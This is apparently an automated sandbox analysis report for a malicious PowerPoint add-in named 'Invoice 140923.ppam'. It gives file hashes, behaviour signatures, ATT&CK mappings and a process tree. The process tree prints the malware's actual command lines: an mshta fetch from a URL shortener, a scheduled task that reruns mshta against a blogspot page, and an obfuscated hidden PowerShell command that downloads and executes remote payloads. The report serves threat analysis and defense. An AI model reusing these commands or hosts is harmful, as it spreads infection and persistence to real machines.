Overview

overview

10

Static

static

Invoice 140923.ppam

windows7_x64

10

Invoice 140923.ppam

windows10_x64

10

Analysis

  • max time kernel
    120s
  • max time network
    138s
  • platform
    windows7_x64
  • resource
    win7-en-20211014
  • submitted
    22-10-2021 04:59

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General

  • Target

    Invoice 140923.ppam

  • Size

    8KB

  • MD5

    5d1279434725ccad24da08658d073a23

  • SHA1

    5bd8e406df2a5547bf74fefde17a6a7e4b51358e

  • SHA256

    b56a00462c6fdfd3fc68869ecda35f6832bee4cdcb81e06bf85b3e4c3336fd77

  • SHA512

    9977a2a96b7aa32d4268423adef7b5cee2ae36e7aa6c42a886f1003c845cf71cccd14b6d3e264e0b637a9a2f2f19236d885c75cf60b9d3a5f2a8598a6ddc68f6

Score
10/10
persistence

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 12 IoCs
  • Adds Run key to start application 2 TTPs 5 IoCs
    persistence
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Office loads VBA resources, possible macro or embedded object present
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Kills process with taskkill 2 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 6 IoCs
    evasionspywaretrojan
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Invoice 140923.ppam"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:532
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1112
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\System32\mshta.exe" https://www.bitly.com/wdowdpowdlwdprufhjwijjd
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Adds Run key to start application
        • Modifies Internet Explorer settings
        • Modifies system certificate store
        • Suspicious use of WriteProcessMemory
        PID:1928
        • C:\Windows\SysWOW64\taskkill.exe
          "C:\Windows\System32\taskkill.exe" /f /im winword.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2008
        • C:\Windows\SysWOW64\taskkill.exe
          "C:\Windows\System32\taskkill.exe" /f /im Excel.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1732
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""Bluefibonashi"" /F /tr ""\""MsHtA""\""http://1230948%1230948@kumakahchachi.blogspot.com/p/15.html\""
          3⤵
          • Creates scheduled task(s)
          PID:1460
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles.com/ugd/92c492_b0f3ef832df447e0b4540d1b55406b51.txt').GetResponse().GetResponseStream()).ReadToend());I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles.com/ugd/92c492_1bc433a276794dd08a29271d95e2f910.txt').GetResponse().GetResponseStream()).ReadToend());
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:600

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Initial Access

    Execution

    Scheduled Task

    1
    T1053

    Persistence

    Registry Run Keys / Startup Folder

    1
    T1060

    Scheduled Task

    1
    T1053

    Privilege Escalation

    Scheduled Task

    1
    T1053

    Defense Evasion

    Modify Registry

    3
    T1112

    Install Root Certificate

    1
    T1130

    Credential Access

    Discovery

    System Information Discovery

    1
    T1082

    Lateral Movement

    Collection

    Exfiltration

    Command and Control

    Impact

    Replay Monitor

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    Downloads

    • memory/532-56-0x0000000071821000-0x0000000071823000-memory.dmp
      Filesize

      8KB

      Download
    • memory/532-57-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

      Download
    • memory/532-55-0x00000000747F1000-0x00000000747F5000-memory.dmp
      Filesize

      16KB

      Download
    • memory/532-59-0x00000000762D1000-0x00000000762D3000-memory.dmp
      Filesize

      8KB

      Download
    • memory/532-61-0x0000000005AE0000-0x0000000005AE2000-memory.dmp
      Filesize

      8KB

      Download
    • memory/600-66-0x0000000000000000-mapping.dmp
      Download
    • memory/600-69-0x0000000002490000-0x00000000030DA000-memory.dmp
      Filesize

      12.3MB

      Download
    • memory/1112-58-0x0000000000000000-mapping.dmp
      Download
    • memory/1112-60-0x000007FEFC1D1000-0x000007FEFC1D3000-memory.dmp
      Filesize

      8KB

      Download
    • memory/1460-65-0x0000000000000000-mapping.dmp
      Download
    • memory/1732-64-0x0000000000000000-mapping.dmp
      Download
    • memory/1928-62-0x0000000000000000-mapping.dmp
      Download
    • memory/1928-68-0x0000000006D80000-0x0000000006D81000-memory.dmp
      Filesize

      4KB

      Download
    • memory/2008-63-0x0000000000000000-mapping.dmp
      Download